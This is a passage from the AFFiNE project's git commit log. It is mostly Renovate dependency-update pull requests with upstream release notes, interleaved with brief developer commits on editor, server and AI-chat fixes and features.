-   Updated dependencies \[[`965fd03`](965fd03ff2)]:
    -   [@&#8203;vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration)[@&#8203;8](https://redirect.github.com/8).0.1

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.2.2`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#922-2025-02-12)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.2.1...v9.2.2)

##### Bug Fixes

-   handle dashes in custom element names ([4a87773](4a877738c5)), closes [#&#8203;283](https://gitlab.com/html-validate/html-validate/issues/283)

</details>

<details>
<summary>remusao/tldts (tldts)</summary>

### [`v6.1.77`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6177-Sat-Feb-08-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.76...v6.1.77)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2273](https://redirect.github.com/remusao/tldts/pull/2273) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### Authors: 1

-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.76`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6176-Fri-Jan-31-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.75...v6.1.76)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2266](https://redirect.github.com/remusao/tldts/pull/2266) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.10 to 22.12.0 [#&#8203;2264](https://redirect.github.com/remusao/tldts/pull/2264) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.31.0 to 4.32.1 [#&#8203;2265](https://redirect.github.com/remusao/tldts/pull/2265) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.75`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6175-Sun-Jan-26-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.74...v6.1.75)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2261](https://redirect.github.com/remusao/tldts/pull/2261) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.8 to 22.10.10 [#&#8203;2259](https://redirect.github.com/remusao/tldts/pull/2259) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump mocha from 11.0.1 to 11.1.0 [#&#8203;2255](https://redirect.github.com/remusao/tldts/pull/2255) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.7 to 22.10.8 [#&#8203;2256](https://redirect.github.com/remusao/tldts/pull/2256) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.74`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6174-Wed-Jan-22-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.73...v6.1.74)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2254](https://redirect.github.com/remusao/tldts/pull/2254) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump rollup from 4.30.1 to 4.31.0 [#&#8203;2252](https://redirect.github.com/remusao/tldts/pull/2252) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.73`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6173-Sat-Jan-18-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.72...v6.1.73)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2251](https://redirect.github.com/remusao/tldts/pull/2251) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.6 to 22.10.7 [#&#8203;2250](https://redirect.github.com/remusao/tldts/pull/2250) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.72`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6172-Wed-Jan-15-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.71...v6.1.72)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts-tests`, `tldts`
    -   Update upstream public suffix list [#&#8203;2245](https://redirect.github.com/remusao/tldts/pull/2245) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump typescript from 5.7.2 to 5.7.3 [#&#8203;2247](https://redirect.github.com/remusao/tldts/pull/2247) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.5 to 22.10.6 [#&#8203;2248](https://redirect.github.com/remusao/tldts/pull/2248) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.29.2 to 4.30.1 [#&#8203;2246](https://redirect.github.com/remusao/tldts/pull/2246) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.71`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6171-Mon-Jan-06-2025)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.70...v6.1.71)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2241](https://redirect.github.com/remusao/tldts/pull/2241) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;types/node](https://redirect.github.com/types/node) from 22.10.2 to 22.10.5 [#&#8203;2243](https://redirect.github.com/remusao/tldts/pull/2243) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   Bump rollup from 4.29.1 to 4.29.2 [#&#8203;2242](https://redirect.github.com/remusao/tldts/pull/2242) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.70`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6170-Wed-Dec-25-2024)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.69...v6.1.70)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts-icann`, `tldts`
    -   Update upstream public suffix list [#&#8203;2237](https://redirect.github.com/remusao/tldts/pull/2237) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump rollup from 4.28.1 to 4.29.1 [#&#8203;2238](https://redirect.github.com/remusao/tldts/pull/2238) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

### [`v6.1.69`](https://redirect.github.com/remusao/tldts/blob/HEAD/CHANGELOG.md#v6169-Thu-Dec-19-2024)

[Compare Source](https://redirect.github.com/remusao/tldts/compare/v6.1.68...v6.1.69)

##### 📜 Update Public Suffix List

-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2234](https://redirect.github.com/remusao/tldts/pull/2234) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;rollup/plugin-typescript](https://redirect.github.com/rollup/plugin-typescript) from 12.1.1 to 12.1.2 [#&#8203;2236](https://redirect.github.com/remusao/tldts/pull/2236) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   `tldts-core`, `tldts-experimental`, `tldts-icann`, `tldts-utils`, `tldts`
    -   Bump [@&#8203;rollup/plugin-node-resolve](https://redirect.github.com/rollup/plugin-node-resolve) from 15.3.0 to 16.0.0 [#&#8203;2235](https://redirect.github.com/remusao/tldts/pull/2235) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

</details>

<details>
<summary>colinhacks/zod (zod)</summary>

### [`v3.24.2`](https://redirect.github.com/colinhacks/zod/compare/v3.24.1...e30870369d5b8f31ff4d0130d4439fd997deb523)

[Compare Source](https://redirect.github.com/colinhacks/zod/compare/v3.24.1...v3.24.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 10:54:57 +00:00
donteatfriedrice
bd041cbfcf fix(editor): shadowless element should remove style element correctly (#10128)
[BS-2565](https://linear.app/affine-design/issue/BS-2565/关闭-chat-block-center-peek-后新生成的-chat-block-最后一个-message-样式不正确)
2025-02-12 10:38:07 +00:00
fengmk2
db8557eafb fix(server): get doc diff from doc service (#10067)
close CLOUD-121

avoid sync server to merge doc updates

before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/054bf532-845d-427b-8cc4-f29e56f65720.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/fafe9244-c521-4af0-b131-5a6092eb5a16.png)
2025-02-12 10:20:23 +00:00
donteatfriedrice
30612de1ad fix(core): wrap code in ai chat (#10108)
[BS-2540](https://linear.app/affine-design/issue/BS-2540/ai-chat-中-code-block-需要默认换行)
2025-02-12 09:43:52 +00:00
donteatfriedrice
e350ba4a9c test: enable chat block e2e test (#10111) 2025-02-12 09:26:52 +00:00
Flrande
e3691850ad fix(editor): figma ui issues (#10123) 2025-02-12 09:10:08 +00:00
forehalo
72bf81245a chore(server): set script flavor instead of NODE_ENV (#10121) 2025-02-12 08:49:51 +00:00
akumatus
58fed5928b feat: add doc copilot context api (#10103)
### What Changed?
- Add graphql APIs.
- Provide context and session service in `AIProvider`.
- Rename the state from `embedding` to `processing`.
- Reafctor front-end session create, update and save logic.

Persist the document selected by the user:
[录屏2025-02-08 11.04.40.mov <span class="graphite__hidden">(uploaded via Graphite)</span> <img class="graphite__hidden" src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/195a85f2-43c4-4e49-88d9-6b5fc4f235ca.mov" />](https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/195a85f2-43c4-4e49-88d9-6b5fc4f235ca.mov)
2025-02-12 08:33:07 +00:00
forehalo
53fdb1e8a5 refactor(server): workspace doc query (#10042) 2025-02-12 08:13:07 +00:00
forehalo
9dcce43360 refactor(core): auth ui (#10101)
close AF-2202 AF-2203
2025-02-12 07:39:09 +00:00
akumatus
573af16aa4 feat(core): upgrade pplx models (#10115)
Old models will be deprecated and will no longer be available to use after 2/22/2025.

https://docs.perplexity.ai/guides/model-cards
2025-02-12 07:21:10 +00:00
pengx17
a589ce151e fix(electron): split view indicator should show menu on click (#10089)
fix AF-2208
2025-02-12 07:04:00 +00:00
renovate
10f1b4cdb6 chore: bump up all non-major dependencies (#10102)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@tanstack/react-table](https://tanstack.com/table) ([source](https://redirect.github.com/TanStack/table/tree/HEAD/packages/react-table)) | [`8.20.6` -> `8.21.2`](https://renovatebot.com/diffs/npm/@tanstack%2freact-table/8.20.6/8.21.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tanstack%2freact-table/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tanstack%2freact-table/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tanstack%2freact-table/8.20.6/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tanstack%2freact-table/8.20.6/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.3` -> `17.0.4`](https://renovatebot.com/diffs/npm/happy-dom/17.0.3/17.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.3/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.3/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.27` -> `3.0.0-alpha.28` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.27/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.27/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.25` -> `3.0.0-alpha.26` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.25/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.25/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.1` -> `22.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |

---

### Release Notes

<details>
<summary>TanStack/table (@&#8203;tanstack/react-table)</summary>

### [`v8.21.2`](https://redirect.github.com/TanStack/table/releases/tag/v8.21.2)

[Compare Source](https://redirect.github.com/TanStack/table/compare/v8.20.6...v8.21.2)

Version 8.21.2 - 2/11/25, 8:59 PM

#### Changes

##### Fix

-   arrIncludes autoremove filterFn ([#&#8203;5623](https://redirect.github.com/TanStack/table/issues/5623)) ([`2efaf57`](https://redirect.github.com/TanStack/table/commit/2efaf57)) by lukebui
-   lit-table: spread table options in lit adapter ([#&#8203;5904](https://redirect.github.com/TanStack/table/issues/5904)) ([`36dede1`](https://redirect.github.com/TanStack/table/commit/36dede1)) by [@&#8203;kadoshms](https://redirect.github.com/kadoshms)

##### Docs

-   row accessor bug in example code block ([#&#8203;5893](https://redirect.github.com/TanStack/table/issues/5893)) ([`b1506a7`](https://redirect.github.com/TanStack/table/commit/b1506a7)) by Valerii Petryniak
-   virtualizer tbody from onchange ([`827b098`](https://redirect.github.com/TanStack/table/commit/827b098)) by Kevin Van Cott
-   exp virtual - remeasure when table state changes ([`9e6987d`](https://redirect.github.com/TanStack/table/commit/9e6987d)) by Kevin Van Cott
-   angular: add expanding and sub components examples ([#&#8203;5898](https://redirect.github.com/TanStack/table/issues/5898)) ([`099e1a4`](https://redirect.github.com/TanStack/table/commit/099e1a4)) by [@&#8203;riccardoperra](https://redirect.github.com/riccardoperra)
-   example name ([`57703a4`](https://redirect.github.com/TanStack/table/commit/57703a4)) by Kevin Van Cott

#### Packages

-   [@&#8203;tanstack/table-core](https://redirect.github.com/tanstack/table-core)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/lit-table](https://redirect.github.com/tanstack/lit-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/angular-table](https://redirect.github.com/tanstack/angular-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/qwik-table](https://redirect.github.com/tanstack/qwik-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/react-table](https://redirect.github.com/tanstack/react-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/solid-table](https://redirect.github.com/tanstack/solid-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/svelte-table](https://redirect.github.com/tanstack/svelte-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/vue-table](https://redirect.github.com/tanstack/vue-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/react-table-devtools](https://redirect.github.com/tanstack/react-table-devtools)[@&#8203;8](https://redirect.github.com/8).21.2

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.4`](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.3...efd734b0f188235b2893196d58fe8635c95db650)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.3...v17.0.4)

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.28`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.28)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.27...napi@3.0.0-alpha.28)

#### What's Changed

-   chore(napi): expose functions which turn raw pointer into External by [@&#8203;zackradisic](https://redirect.github.com/zackradisic) in [https://github.com/napi-rs/napi-rs/pull/2449](https://redirect.github.com/napi-rs/napi-rs/pull/2449)
-   feat(napi-derive): impl #\[napi(array)] by [@&#8203;lghuahua](https://redirect.github.com/lghuahua) in [https://github.com/napi-rs/napi-rs/pull/2459](https://redirect.github.com/napi-rs/napi-rs/pull/2459)
-   refactor!(napi): TypedArray API surfaces by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2462](https://redirect.github.com/napi-rs/napi-rs/pull/2462)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/[@&#8203;napi-rs/cli](https://redirect.github.com/napi-rs/cli)[@&#8203;3](https://redirect.github.com/3).0.0-alpha.67...napi@3.0.0-alpha.28

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.14.0`](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 06:46:49 +00:00
renovate
0bc2fdb8a4 chore: bump up @blocksuite/icons version to v2.2.3 (#10114)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.2.2` -> `2.2.3`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.2.2/2.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.2.3`](837a202601...fa7773d6f0)

[Compare Source](837a202601...fa7773d6f0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 06:27:49 +00:00
doodlewind
0cd7868b3d refactor(editor): add mock notes creator (#10109)
Further features should be validated using multiple notes.

<img width="806" alt="image" src="https://github.com/user-attachments/assets/ad2bf934-bebe-479a-bec0-a0a28001b08d" />
2025-02-12 05:23:19 +00:00
akumatus
94811d5e3b feat(core): enable ai network search (#10110)
Fix issue [AF-2182](https://linear.app/affine-design/issue/AF-2182).
2025-02-12 04:05:08 +00:00
fengmk2
d970bd041c test(server): avoid db deadlock on unittest (#10104)
https://github.com/toeverything/AFFiNE/runs/37010719190

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/8df7dc1f-c549-46f2-9aca-f93d750b1a0b.png)
2025-02-12 03:48:21 +00:00
DarkSky
88a3a2d13b feat(server): self-hosted worker (#10085) 2025-02-12 08:01:57 +08:00
donteatfriedrice
19f0eb1931 fix(core): use patched preview spec builder in ai chat (#10090)
[BS-2526](https://linear.app/affine-design/issue/BS-2526/chat-panel-里的-footnote-popup-需要支持交互)
2025-02-11 15:11:54 +00:00
L-Sun
54d194afe7 fix(editor): set edgeless note style will override collapse state (#10098)
Close [BS-2489](https://linear.app/affine-design/issue/BS-2489/%E6%94%B9%E5%8F%98note-style%E4%BC%9A%E9%87%8D%E7%BD%AEcollapse%E7%8A%B6%E6%80%81)
2025-02-11 14:29:25 +00:00
L-Sun
0b3c7a578e fix(editor): collapsed page block visibility (#10097)
This PR fixed that doc title is not hidden when page block is collapsed
2025-02-11 14:29:24 +00:00
L-Sun
42bdae16fb fix(editor): only render emoji in page block header (#10096) 2025-02-11 14:29:23 +00:00
doodlewind
d021e4cddc refactor(editor): mount worker renderer in editor host (#10055)
This would allow for easier integration with current test runner, since the two column layout is removed.

The `ViewportTurboRender` canvas and its debug UI are only enabled if the extension is added, which won't affect the AFFiNE entry.

<img width="945" alt="image" src="https://github.com/user-attachments/assets/dc82daa4-cbed-4eb9-9660-28c3f7d35722" />
2025-02-11 14:12:41 +00:00
akumatus
9ca2133e34 fix(core): input not automatically focused (#10050)
Fix issue [AF-2161](https://linear.app/affine-design/issue/AF-2161).
2025-02-11 13:43:41 +00:00
L-Sun
401ce70153 refactor(core): remove the unused compareDate field from DocDisplayIconOptions (#10095) 2025-02-11 13:26:43 +00:00
LongYinan
ba52abe50f ci: remove cf worker deploy job 2025-02-11 21:18:37 +08:00
renovate
d2601cbda7 chore: bump up all non-major dependencies (#10099)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
